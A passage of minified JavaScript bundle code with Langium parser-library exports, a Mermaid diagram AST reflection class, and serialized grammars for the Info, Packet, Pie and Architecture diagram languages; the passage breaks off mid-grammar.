Xr={};dr(Xr,{AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,ContextCache:()=>Zp,CstUtils:()=>RE,DONE_RESULT:()=>za,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,EMPTY_STREAM:()=>Rx,ErrorWithLocation:()=>Rp,GrammarUtils:()=>WE,MultiMap:()=>Vl,OperationCancelled:()=>jc,Reduction:()=>vg,RegExpUtils:()=>HE,SimpleCache:()=>Pb,StreamImpl:()=>po,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,delayNextTick:()=>tB,interruptAndCheck:()=>bi,isOperationCancelled:()=>Kc,loadGrammarFromJson:()=>Zc,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an});var Fme=N(()=>{"use strict";QS();e6();Lr(Xr,ei);H1();yB();NE();Bme();tl();Ys();Qc();hs();el();Bl();zl();l1()});var $me=N(()=>{"use strict";dB();Gb()});var zme=N(()=>{"use strict";pB();mB();gB();vB();U1();GB();xB();IB();bB()});var Sa={};dr(Sa,{AbstractAstReflection:()=>Ap,AbstractCstNode:()=>kb,AbstractLangiumParser:()=>Eb,AbstractParserErrorMessageProvider:()=>zS,AbstractThreadedAsyncParser:()=>RB,AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,CompositeCstNodeImpl:()=>Xp,ContextCache:()=>Zp,CstNodeBuilder:()=>wb,CstUtils:()=>RE,DEFAULT_TOKENIZE_OPTIONS:()=>t6,DONE_RESULT:()=>za,DatatypeSymbol:()=>$S,DefaultAstNodeDescriptionProvider:()=>Ub,DefaultAstNodeLocator:()=>qb,DefaultAsyncParser:()=>t4,DefaultCommentProvider:()=>e4,DefaultConfigurationProvider:()=>Wb,DefaultDocumentBuilder:()=>Yb,DefaultDocumentValidator:()=>Vb,DefaultHydrator:()=>n4,DefaultIndexManager:()=>Xb,DefaultJsonSerializer:()=>Fb,DefaultLangiumDocumentFactory:()=>Db,DefaultLangiumDocuments:()=>Lb,DefaultLexer:()=>e0,DefaultLexerErrorMessageProvider:()=>Kb,DefaultLinker:()=>Rb,DefaultNameProvider:()=>Nb,DefaultReferenceDescriptionProvider:()=>Hb,DefaultReferences:()=>Mb,DefaultScopeComputation:()=>Ib,DefaultScopeProvider:()=>Bb,DefaultServiceRegistry:()=>$b,DefaultTokenBuilder:()=>th,DefaultValueConverter:()=>Kp,DefaultWorkspaceLock:()=>r4,DefaultWorkspaceManager:()=>jb,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,DocumentState:()=>Ln,DocumentValidator:()=>rl,EMPTY_SCOPE:()=>rje,EMPTY_STREAM:()=>Rx,EmptyFileSystem:()=>Ea,EmptyFileSystemProvider:()=>l6,ErrorWithLocation:()=>Rp,GrammarAST:()=>zx,GrammarUtils:()=>WE,IndentationAwareLexer:()=>zB,IndentationAwareTokenBuilder:()=>o6,JSDocDocumentationProvider:()=>Jb,LangiumCompletionParser:()=>Cb,LangiumParser:()=>Sb,LangiumParserErrorMessageProvider:()=>F1,LeafCstNodeImpl:()=>Yp,LexingMode:()=>t0,MapScope:()=>Ob,Module:()=>BB,MultiMap:()=>Vl,OperationCancelled:()=>jc,ParserWorker:()=>NB,Reduction:()=>vg,RegExpUtils:()=>HE,RootCstNodeImpl:()=>B1,SimpleCache:()=>Pb,StreamImpl:()=>po,StreamScope:()=>q1,TextDocument:()=>G1,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,ValidationCategory:()=>X1,ValidationRegistry:()=>zb,ValueConverter:()=>Xc,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,createCompletionParser:()=>VP,createDefaultCoreModule:()=>wa,createDefaultSharedCoreModule:()=>ka,createGrammarConfig:()=>PO,createLangiumParser:()=>HP,createParser:()=>_b,delayNextTick:()=>tB,diagnosticData:()=>Jp,eagerLoad:()=>Cme,getDiagnosticRange:()=>mme,indentationBuilderDefaultOptions:()=>$B,inject:()=>Hn,interruptAndCheck:()=>bi,isAstNode:()=>li,isAstNodeDescription:()=>qI,isAstNodeWithComment:()=>hB,isCompositeCstNode:()=>Ol,isIMultiModeLexerDefinition:()=>wB,isJSDoc:()=>CB,isLeafCstNode:()=>If,isLinkingError:()=>_p,isNamed:()=>dme,isOperationCancelled:()=>Kc,isReference:()=>Ta,isRootCstNode:()=>Lx,isTokenTypeArray:()=>r6,isTokenTypeDictionary:()=>TB,loadGrammarFromJson:()=>Zc,parseJSDoc:()=>SB,prepareLangiumParser:()=>eme,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an,toDiagnosticData:()=>gme,toDiagnosticSeverity:()=>JS});var vo=N(()=>{"use strict";PB();FB();fB();_me();Pl();Dme();Rme();Ime();Ome();Pme();Fme();Lr(Sa,Xr);$me();zme();Hc()});function Xme(t){return Ul.isInstance(t,i4)}function jme(t){return Ul.isInstance(t,j1)}function Kme(t){return Ul.isInstance(t,K1)}function Qme(t){return Ul.isInstance(t,Q1)}function Zme(t){return Ul.isInstance(t,a4)}function Jme(t){return Ul.isInstance(t,Z1)}function ege(t){return Ul.isInstance(t,s4)}function tge(t){return Ul.isInstance(t,o4)}function rge(t){return Ul.isInstance(t,l4)}function nge(t){return Ul.isInstance(t,c4)}function ige(t){return Ul.isInstance(t,u4)}var vje,Tt,QB,i4,c6,j1,u6,h6,VB,K1,UB,HB,qB,Q1,WB,a4,f6,YB,Z1,XB,s4,o4,l4,c4,g6,jB,u4,KB,d6,p6,m6,age,Ul,Gme,xje,Vme,bje,Ume,Tje,Hme,wje,qme,kje,Wme,Eje,Yme,Sje,Cje,Aje,_je,Dje,Lje,Rje,Nje,xs,ZB,JB,eF,tF,rF,nF,iF,Mje,Ije,Oje,Pje,Vf,rh,Ha,Bje,qa=N(()=>{"use strict";vo();vo();vo();vo();vje=Object.defineProperty,Tt=o((t,e)=>vje(t,"name",{value:e,configurable:!0}),"__name"),QB="Statement",i4="Architecture";o(Xme,"isArchitecture");Tt(Xme,"isArchitecture");c6="Axis",j1="Branch";o(jme,"isBranch");Tt(jme,"isBranch");u6="Checkout",h6="CherryPicking",VB="ClassDefStatement",K1="Commit";o(Kme,"isCommit");Tt(Kme,"isCommit");UB="Curve",HB="Edge",qB="Entry",Q1="GitGraph";o(Qme,"isGitGraph");Tt(Qme,"isGitGraph");WB="Group",a4="Info";o(Zme,"isInfo");Tt(Zme,"isInfo");f6="Item",YB="Junction",Z1="Merge";o(Jme,"isMerge");Tt(Jme,"isMerge");XB="Option",s4="Packet";o(ege,"isPacket");Tt(ege,"isPacket");o4="PacketBlock";o(tge,"isPacketBlock");Tt(tge,"isPacketBlock");l4="Pie";o(rge,"isPie");Tt(rge,"isPie");c4="PieSection";o(nge,"isPieSection");Tt(nge,"isPieSection");g6="Radar",jB="Service",u4="Treemap";o(ige,"isTreemap");Tt(ige,"isTreemap");KB="TreemapRow",d6="Direction",p6="Leaf",m6="Section",age=class extends Ap{static{o(this,"MermaidAstReflection")}static{Tt(this,"MermaidAstReflection")}getAllTypes(){return[i4,c6,j1,u6,h6,VB,K1,UB,d6,HB,qB,Q1,WB,a4,f6,YB,p6,Z1,XB,s4,o4,l4,c4,g6,m6,jB,QB,u4,KB]}computeIsSubtype(t,e){switch(t){case j1:case u6:case h6:case K1:case Z1:return this.isSubtype(QB,e);case d6:return this.isSubtype(Q1,e);case p6:case m6:return this.isSubtype(f6,e);default:return!1}}getReferenceType(t){let e=`${t.container.$type}:${t.property}`;switch(e){case"Entry:axis":return c6;default:throw new Error(`${e} is not a valid reference id.`)}}getTypeMetaData(t){switch(t){case i4:return{name:i4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"edges",defaultValue:[]},{name:"groups",defaultValue:[]},{name:"junctions",defaultValue:[]},{name:"services",defaultValue:[]},{name:"title"}]};case c6:return{name:c6,properties:[{name:"label"},{name:"name"}]};case j1:return{name:j1,properties:[{name:"name"},{name:"order"}]};case u6:return{name:u6,properties:[{name:"branch"}]};case h6:return{name:h6,properties:[{name:"id"},{name:"parent"},{name:"tags",defaultValue:[]}]};case VB:return{name:VB,properties:[{name:"className"},{name:"styleText"}]};case K1:return{name:K1,properties:[{name:"id"},{name:"message"},{name:"tags",defaultValue:[]},{name:"type"}]};case UB:return{name:UB,properties:[{name:"entries",defaultValue:[]},{name:"label"},{name:"name"}]};case HB:return{name:HB,properties:[{name:"lhsDir"},{name:"lhsGroup",defaultValue:!1},{name:"lhsId"},{name:"lhsInto",defaultValue:!1},{name:"rhsDir"},{name:"rhsGroup",defaultValue:!1},{name:"rhsId"},{name:"rhsInto",defaultValue:!1},{name:"title"}]};case qB:return{name:qB,properties:[{name:"axis"},{name:"value"}]};case Q1:return{name:Q1,properties:[{name:"accDescr"},{name:"accTitle"},{name:"statements",defaultValue:[]},{name:"title"}]};case WB:return{name:WB,properties:[{name:"icon"},{name:"id"},{name:"in"},{name:"title"}]};case a4:return{name:a4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"}]};case f6:return{name:f6,properties:[{name:"classSelector"},{name:"name"}]};case YB:return{name:YB,properties:[{name:"id"},{name:"in"}]};case Z1:return{name:Z1,properties:[{name:"branch"},{name:"id"},{name:"tags",defaultValue:[]},{name:"type"}]};case XB:return{name:XB,properties:[{name:"name"},{name:"value",defaultValue:!1}]};case s4:return{name:s4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"blocks",defaultValue:[]},{name:"title"}]};case o4:return{name:o4,properties:[{name:"bits"},{name:"end"},{name:"label"},{name:"start"}]};case l4:return{name:l4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"sections",defaultValue:[]},{name:"showData",defaultValue:!1},{name:"title"}]};case c4:return{name:c4,properties:[{name:"label"},{name:"value"}]};case g6:return{name:g6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"axes",defaultValue:[]},{name:"curves",defaultValue:[]},{name:"options",defaultValue:[]},{name:"title"}]};case jB:return{name:jB,properties:[{name:"icon"},{name:"iconText"},{name:"id"},{name:"in"},{name:"title"}]};case u4:return{name:u4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"},{name:"TreemapRows",defaultValue:[]}]};case KB:return{name:KB,properties:[{name:"indent"},{name:"item"}]};case d6:return{name:d6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"dir"},{name:"statements",defaultValue:[]},{name:"title"}]};case p6:return{name:p6,properties:[{name:"classSelector"},{name:"name"},{name:"value"}]};case m6:return{name:m6,properties:[{name:"classSelector"},{name:"name"}]};default:return{name:t,properties:[]}}}},Ul=new age,xje=Tt(()=>Gme??(Gme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Info","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Info","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"info"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Group","elements":[{"$type":"Keyword","value":"showInfo"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@7"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"InfoGrammar"),bje=Tt(()=>Vme??(Vme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Packet","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Packet","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"packet"},{"$type":"Keyword","value":"packet-beta"}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"Assignment","feature":"blocks","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PacketBlock","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"start","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"end","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}],"cardinality":"?"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"+"},{"$type":"Assignment","feature":"bits","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]}]},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@9"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PacketGrammar"),Tje=Tt(()=>Ume??(Ume=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Pie","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Pie","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"pie"},{"$type":"Assignment","feature":"showData","operator":"?=","terminal":{"$type":"Keyword","value":"showData"},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Assignment","feature":"sections","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PieSection","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"FLOAT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?(0|[1-9][0-9]*)(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@2"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@3"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@11"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@12"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PieGrammar"),wje=Tt(()=>Hme??(Hme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Architecture","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Architecture","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"architecture-beta"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"groups","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"services","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"j